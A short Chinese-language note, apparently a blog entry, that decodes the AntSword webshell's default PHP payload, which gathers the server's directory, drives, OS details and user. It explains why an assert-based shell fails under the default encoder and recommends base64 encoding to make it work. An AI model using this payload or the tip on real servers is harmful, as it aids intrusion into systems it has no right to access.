base64:
default:
这里简单来说就是eval函数中参数是字符,如:eval('echo 1;');assert函数中参数为表达式 (或者为函数),如:assert(phpinfo())
我们将默认编码解码看看
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
};
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "97a7a";
echo @asenc($output);
echo "777a7fdcd7c";
}
ob_start();
try {
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D} ";
if (substr($D, 0, 1) != "/") {
foreach(range("C", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
} else {
$R. = "/";
}
$R. = " ";
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
$R. = php_uname();
$R. = " {$s}";
echo $R;;
} catch (Exception $e) {
echo "ERROR://".$e - > getMessage();
};
asoutput();
die();
大致的意思会输出一些内容 随机字符串+环境变量+随机字符串,如果用eval代替assert是完全没问题的,我查了下资料,assert是不能执行多个语句的,eval可以,所以这里使用assert会有返回为空的问题。
这个问题可以使用base64编码的问题解决,编码后的数据包,可以看到ant这个参数传入的是一句话,因此就可以通过assert执行成功。
这里就是蚁剑使用assert的shell的一个坑,如果使用assert不要使用默认编码。